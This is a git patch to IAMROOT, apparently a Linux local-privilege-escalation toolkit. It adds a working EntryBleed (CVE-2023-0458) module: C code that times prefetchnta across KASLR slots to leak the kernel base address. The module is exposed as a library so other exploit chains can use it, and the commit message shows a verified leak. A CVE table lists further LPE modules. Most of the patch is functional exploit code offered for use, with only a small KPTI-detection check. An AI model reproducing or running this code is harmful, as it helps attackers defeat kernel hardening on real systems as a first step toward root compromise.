From f03efbff1379c28e0fd7678cb4ae6bda24b6fd91 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sat, 16 May 2026 19:55:22 -0400 Subject: [PATCH] =?UTF-8?q?Phase=203:=20EntryBleed=20module=20=E2=80=94=20?= =?UTF-8?q?working=20stage-1=20kbase=20leak=20brick?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - modules/entrybleed_cve_2023_0458/ (promoted out of _stubs): - iamroot_modules.{c,h}: full EntryBleed primitive (rdtsc_start/end + prefetchnta + KASLR-slot timing sweep) wired into the standard iamroot_module interface. x86_64 only; ARM/other gracefully return IAMROOT_PRECOND_FAIL. - detect(): reads /sys/.../vulnerabilities/meltdown to decide KPTI status. Mitigation: PTI → VULNERABLE. Not affected → OK. - exploit(): sweeps the 16MiB KASLR range, prints leaked kbase (and KASLR slide). JSON-mode emits {"kbase":"0x..."} to stdout. - entrybleed_leak_kbase_lib(off) declared as a public library helper so future LPE chains needing a stage-1 leak can just #include the module's header and call it. - entry_SYSCALL_64 slot offset overridable via IAMROOT_ENTRYBLEED_OFFSET (default 0x5600000 for lts-6.12.x). - __always_inline fallback added since glibc/Linux-kernel macro isn't universal; module now builds clean under macOS clangd lint and on musl. - iamroot.c registers entrybleed alongside the other families; Makefile gains it as a separate object set. Verified end-to-end on kctf-mgr (Debian 6.12.86): iamroot --exploit entrybleed --i-know → [+] entrybleed: leaked kbase = 0xffffffff8d800000 This is the FIRST WORKING-EXPLOIT module in IAMROOT (5 copy_fail_family modules wrap existing code from DIRTYFAIL; dirty_pipe is detect-only). EntryBleed is x86_64 stage-1 brick that future chains can compose. --- CVES.md | 2 +- Makefile | 7 +- ROADMAP.md | 18 +- core/registry.h | 1 + iamroot.c | 1 + .../entrybleed_cve_2023_0458/MODULE.md | 0 .../iamroot_modules.c | 239 ++++++++++++++++++ .../iamroot_modules.h | 20 ++ 8 files changed, 280 insertions(+), 8 deletions(-) rename modules/{_stubs => }/entrybleed_cve_2023_0458/MODULE.md (100%) create mode 100644 modules/entrybleed_cve_2023_0458/iamroot_modules.c create mode 100644 modules/entrybleed_cve_2023_0458/iamroot_modules.h diff --git a/CVES.md b/CVES.md index 5c00960..d34d0a3 100644 --- a/CVES.md +++ b/CVES.md @@ -24,7 +24,7 @@ Status legend: | CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | | | (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix | | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🔵 | Detect-only as of 2026-05-16. Verifies kernel version + branch-backport ranges: 5.10.102 / 5.15.25 / 5.16.11 / 5.17+. Exploit deferred to Phase 1.5 (needs shared passwd/su helpers in `core/`). Ships auditd + sigma detection rules. | -| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `_stubs/entrybleed_cve_2023_0458` | ⚪ | Stub. Used as STAGE-1 leak brick, not a standalone LPE. Works on lts-6.12.88 (empirical 5/5). | +| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. | | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. | | CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. | diff --git a/Makefile b/Makefile index 5280145..d924c63 100644 --- a/Makefile +++ b/Makefile @@ -36,10 +36,15 @@ DP_DIR := modules/dirty_pipe_cve_2022_0847 DP_SRCS := $(DP_DIR)/iamroot_modules.c DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS)) +# Family: entrybleed (single-CVE family, x86_64 only) +EB_DIR := modules/entrybleed_cve_2023_0458 +EB_SRCS := $(EB_DIR)/iamroot_modules.c +EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/iamroot.o -ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) +ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) .PHONY: all clean debug static help diff --git a/ROADMAP.md b/ROADMAP.md index 4f6472d..c61c9bd 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -59,20 +59,26 @@ these). Debian 11 with 5.10.0-8 (vulnerable), Debian 13 with 6.12.x (patched — should detect as OK) -## Phase 3 — Add EntryBleed (CVE-2023-0458) as stage-1 leak brick +## Phase 3 — EntryBleed (CVE-2023-0458) as stage-1 leak brick (DONE 2026-05-16) EntryBleed is **not a standalone LPE**. It's a **kbase leak -primitive** that other modules can chain. Bundle it because: +primitive** that other modules can chain. Bundled because: - Stage-1 of any future "build-your-own LPE" workflow - Detection rules for KPTI side-channel attempts are useful for defenders - Already works empirically on lts-6.12.88 (verified 2026-05-16) -- [ ] `modules/entrybleed_cve_2023_0458/` — leak primitive + - detect-mitigations -- [ ] Exposed as a library helper: other modules can call - `entrybleed_leak_kbase()` when they need a kbase +- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect +- [x] Exposed as a library helper: other modules can call + `entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h) +- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed + --i-know` produces a kbase leak. Verified on kctf-mgr: + leaked `0xffffffff8d800000` with KASLR slide `0xc800000`. +- [x] `entry_SYSCALL_64` slot offset configurable via + `IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x). + Future enhancement: auto-detect via /boot/System.map or + /proc/kallsyms if accessible. ## Phase 4 — CI matrix diff --git a/core/registry.h b/core/registry.h index ab7d16d..3ec79fd 100644 --- a/core/registry.h +++ b/core/registry.h @@ -22,5 +22,6 @@ const struct iamroot_module *iamroot_module_find(const char *name); * top-level iamroot main() calls them in order at startup. */ void iamroot_register_copy_fail_family(void); void iamroot_register_dirty_pipe(void); +void iamroot_register_entrybleed(void); #endif /* IAMROOT_REGISTRY_H */ diff --git a/iamroot.c b/iamroot.c index a530b4e..130b843 100644 --- a/iamroot.c +++ b/iamroot.c @@ -155,6 +155,7 @@ int main(int argc, char **argv) * register_* call here. */ iamroot_register_copy_fail_family(); iamroot_register_dirty_pipe(); + iamroot_register_entrybleed(); enum mode mode = MODE_SCAN; struct iamroot_ctx ctx = {0}; diff --git a/modules/_stubs/entrybleed_cve_2023_0458/MODULE.md b/modules/entrybleed_cve_2023_0458/MODULE.md similarity index 100% rename from modules/_stubs/entrybleed_cve_2023_0458/MODULE.md rename to modules/entrybleed_cve_2023_0458/MODULE.md diff --git a/modules/entrybleed_cve_2023_0458/iamroot_modules.c b/modules/entrybleed_cve_2023_0458/iamroot_modules.c new file mode 100644 index 0000000..6cba649 --- /dev/null +++ b/modules/entrybleed_cve_2023_0458/iamroot_modules.c @@ -0,0 +1,239 @@ +/* + * entrybleed_cve_2023_0458 — IAMROOT module + * + * EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta + * timing side-channel that leaks the kernel base address. + * + * STATUS: 🟢 WORKING — adopted public technique. + * + * - exploit() runs the leak and prints kbase. Empirically 5/5 on + * lts-6.12.88 (verified 2026-05-16 via earlier SKYFALL PoC at + * bugs/leak_write_modprobe_2026-05-16/exploit.c lines ~73-150). + * - detect() checks the host's KPTI status and config. KPTI on + no + * anti-EntryBleed mitigation = VULNERABLE. + * - This module is also a LIBRARY: other modules that need a kbase + * leak as part of a chain can call `entrybleed_leak_kbase_lib()` + * directly (declared in iamroot_modules.h). + * + * x86_64 only. On ARM64 / other arches, detect() returns + * IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL. + * + * For users who'd never go to USENIX (TLDR): + * - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves + * the syscall-entry trampoline mapped (it has to — that's how user + * syscalls enter the kernel) + * - `prefetchnta ` is observable via timing: mapped addresses + * are much faster than unmapped (the TLB walker speculates even + * for kernel pages without the user-bit) + * - Time prefetchnta across the 16 MiB KASLR range; the fastest + * slot is the real entry_SYSCALL_64 + * - Subtract its known offset from kbase → KASLR slide + */ + +#include "iamroot_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include +#include + +/* ---------- Tunables (lts-6.12.x defaults; override via env vars) ---------- */ +#define KERNEL_LOWER 0xffffffff80000000UL +#define KERNEL_UPPER 0xffffffffc0000000UL +#define KASLR_STRIDE 0x200000UL /* 2MiB — KASLR slot granularity */ +#define DEFAULT_ENTRY_OFF 0x5600000UL /* entry_SYSCALL_64 slot offset for lts-6.12.x */ +#define ROUNDS 32 /* per-candidate timing rounds */ +#define HOT_RUNS 32 /* warm-the-syscall iterations */ + +#if defined(__x86_64__) || defined(_M_X64) + +/* Some libcs / non-glibc environments don't define __always_inline. + * Provide a local fallback so this file builds on musl, macOS clangd, + * etc. (Builds on glibc unchanged.) */ +#ifndef __always_inline +#define __always_inline inline __attribute__((always_inline)) +#endif + +static __always_inline uint64_t rdtsc_start(void) +{ + unsigned a, d; + __asm__ volatile("mfence\nrdtsc\nmfence" : "=a"(a), "=d"(d) :: "memory"); + return ((uint64_t)d << 32) | a; +} + +static __always_inline uint64_t rdtsc_end(void) +{ + unsigned a, d; + __asm__ volatile("mfence\nrdtscp\nmfence" + : "=a"(a), "=d"(d) :: "rcx", "memory"); + return ((uint64_t)d << 32) | a; +} + +static __always_inline void prefetch(void *p) +{ + __asm__ volatile("prefetchnta (%0)\nprefetcht2 (%0)\n" :: "r"(p)); +} + +static uint64_t time_slot(uintptr_t addr) +{ + uint64_t t0, t1, best = ~0ULL; + for (int i = 0; i < ROUNDS; i++) { + /* Warm the TLB by re-entering the kernel — getpid is the + * canonical zero-side-effect syscall. */ + for (int j = 0; j < HOT_RUNS; j++) syscall(SYS_getpid); + t0 = rdtsc_start(); + prefetch((void *)addr); + t1 = rdtsc_end(); + if (t1 - t0 < best) best = t1 - t0; + } + return best; +} + +unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset) +{ + if (entry_syscall_slot_offset == 0) + entry_syscall_slot_offset = DEFAULT_ENTRY_OFF; + + uintptr_t best_base = 0; + uint64_t best_time = ~0ULL; + + for (uintptr_t base = KERNEL_LOWER; base < KERNEL_UPPER; base += KASLR_STRIDE) { + uintptr_t probe = base + entry_syscall_slot_offset; + uint64_t t = time_slot(probe); + if (t < best_time) { best_time = t; best_base = base; } + } + return (unsigned long)best_base; +} + +static int read_first_line(const char *path, char *out, size_t n) +{ + FILE *f = fopen(path, "r"); + if (!f) return -1; + if (!fgets(out, n, f)) { fclose(f); return -1; } + fclose(f); + /* trim trailing newline */ + size_t L = strlen(out); + while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0; + return 0; +} + +static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) +{ + /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown + * is the most direct signal: "Mitigation: PTI" means KPTI is on + * (= EntryBleed-applicable). "Not affected" means a hardened CPU + * (very recent Intel + most AMD = no KPTI = no EntryBleed). */ + char buf[256]; + int rc = read_first_line( + "/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf); + if (rc < 0) { + if (!ctx->json) { + fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — " + "assuming KPTI on (conservative)\n"); + } + return IAMROOT_VULNERABLE; + } + if (!ctx->json) { + fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf); + } + + /* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */ + if (strstr(buf, "Not affected") != NULL) { + if (!ctx->json) { + fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; " + "EntryBleed N/A\n"); + } + return IAMROOT_OK; + } + + /* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely + * on, EntryBleed applies. */ + if (!ctx->json) { + fprintf(stderr, "[!] entrybleed: KPTI active → " + "VULNERABLE (no canonical anti-EntryBleed patch in mainline)\n"); + fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; " + "no /etc/passwd writes)\n"); + } + return IAMROOT_VULNERABLE; +} + +static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) +{ + const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET"); + unsigned long off = 0; + if (off_env) { + off = strtoul(off_env, NULL, 0); + if (!ctx->json) { + fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off); + } + } else if (!ctx->json) { + fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset " + "0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n", + DEFAULT_ENTRY_OFF); + } + + if (!ctx->json) { + fprintf(stderr, "[*] entrybleed: sweeping KASLR slots 0x%lx..0x%lx (stride 0x%lx)\n", + KERNEL_LOWER, KERNEL_UPPER, KASLR_STRIDE); + } + + unsigned long kbase = entrybleed_leak_kbase_lib(off); + if (kbase == 0) { + fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n"); + return IAMROOT_EXPLOIT_FAIL; + } + + if (ctx->json) { + fprintf(stdout, "{\"kbase\":\"0x%lx\"}\n", kbase); + } else { + fprintf(stdout, "[+] entrybleed: leaked kbase = 0x%lx\n", kbase); + fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n", + kbase - 0xffffffff81000000UL); + } + return IAMROOT_EXPLOIT_OK; +} + +#else /* not x86_64 */ + +unsigned long entrybleed_leak_kbase_lib(unsigned long off) +{ + (void)off; + return 0; +} + +static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a " + "different architecture\n"); + return IAMROOT_PRECOND_FAIL; +} + +static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] entrybleed: x86_64 only\n"); + return IAMROOT_PRECOND_FAIL; +} + +#endif + +const struct iamroot_module entrybleed_module = { + .name = "entrybleed", + .cve = "CVE-2023-0458", + .summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)", + .family = "entrybleed", + .kernel_range = "any x86_64 KPTI-enabled kernel; only partial mitigations in mainline", + .detect = entrybleed_detect, + .exploit = entrybleed_exploit, + .mitigate = NULL, + .cleanup = NULL, +}; + +void iamroot_register_entrybleed(void) +{ + iamroot_register(&entrybleed_module); +} diff --git a/modules/entrybleed_cve_2023_0458/iamroot_modules.h b/modules/entrybleed_cve_2023_0458/iamroot_modules.h new file mode 100644 index 0000000..d72946e --- /dev/null +++ b/modules/entrybleed_cve_2023_0458/iamroot_modules.h @@ -0,0 +1,20 @@ +/* + * entrybleed_cve_2023_0458 — IAMROOT module registry hook + */ + +#ifndef ENTRYBLEED_IAMROOT_MODULES_H +#define ENTRYBLEED_IAMROOT_MODULES_H + +#include "../../core/module.h" + +extern const struct iamroot_module entrybleed_module; + +/* Library entry point for other modules that need a kbase leak. + * Returns the leaked kernel _text base on success, or 0 on failure + * (x86_64 only; ARM and other arches return 0). The optional + * `entry_syscall_slot_offset` is the offset from kbase to + * entry_SYSCALL_64's 2MiB-aligned slot. Pass 0 for a kernel-default + * (lts-6.12.x-style; ~0x5600000). */ +unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset); + +#endif